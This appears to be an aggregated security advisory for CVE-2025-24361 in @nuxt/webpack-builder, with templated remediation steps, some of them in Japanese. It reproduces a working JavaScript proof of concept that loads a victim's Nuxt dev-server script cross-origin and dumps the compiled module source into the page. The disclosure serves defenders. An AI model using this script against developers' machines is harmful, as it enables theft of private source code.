Vulnerability in @nuxt/webpack-builder (CVE-2025-24361)
Summary
Vulnerability in @nuxt/webpack-builder (CVE-2025-24361). Confidential information can be exposed externally. Exploitable via window.webpackChunknuxt_app. Mitigation: upgrade to 3.15.3 or later.
Original description
The description as published by the source.
Summary
Source code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.
Details
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `` in their site and run the script.
By using Function::toString against the values in window.webpackChunknuxt_app, the attacker can get the source code.
PoC
- Create a nuxt project with webpack / rspack builder.
- Run
npm run dev - Open
http://localhost:3000 - Run the script below in a web site that has a different origin.
- You can see the source code output in the document and the devtools console.
const script = document.createElement('script')
script.src = 'http://localhost:3000/_nuxt/app.js'
script.addEventListener('load', () => {
for (const page in window.webpackChunknuxt_app) {
const moduleList = window.webpackChunknuxt_app[page][1]
console.log(moduleList)
for (const key in moduleList) {
const p = document.createElement('p')
const title = document.createElement('strong')
title.textContent = key
const code = document.createElement('code')
code.textContent = moduleList[key].toString()
p.append(title, ':', document.createElement('br'), code)
document.body.appendChild(p)
}
}
})
document.head.appendChild(script)
It contains the compiled source code…
Source: OSV.dev (Open Source Vulnerabilities) NVD GitHub Advisory OSV
Auto-generated summary
Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.
A vulnerability tracked as CVE-2025-24361 has been found in @nuxt/webpack-builder.
Attackers can target a specific entry point like window.webpackChunknuxt_app over the network to misuse the product.
Confidential information can be exposed externally.
What to do: upgrade @nuxt/webpack-builder to 3.15.3 or later.
If unsure, ask your IT team or search "@nuxt/webpack-builder CVE-2025-24361" on the vendor's site.
CVE-2025-24361 (@nuxt/webpack-builder) — CWE-749
Attack vector: remote (network-reachable) / unauthenticated
Attack surface: window.webpackChunknuxt_app / sourcesContent
Patched: 3.15.3 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
A vulnerability (CWE-749) exists in @nuxt/webpack-builder. Attackers reach the vulnerable code path via window.webpackChunknuxt_app without authentication.
Check the vendor advisory for the affected versions of @nuxt/webpack-builder. Attack surface: window.webpackChunknuxt_app / sourcesContent.
Severity: ?. Confidential information can be exposed externally.
Update to 3.15.3.
Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.
Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r '@nuxt/webpack-builder' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
-
1Identify exposure identify
grep -r '@nuxt/webpack-builder' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
@nuxt/webpack-builderを grep し、稼働しているサービス・バージョンを把握する。 -
2Apply patch patch
Upgrade @nuxt/webpack-builder to 3.15.3ステージング環境で 3.15.3 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
3Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Affected packages
References
- advisory nvd.nist.gov
- package github.com
- web github.com
- web github.com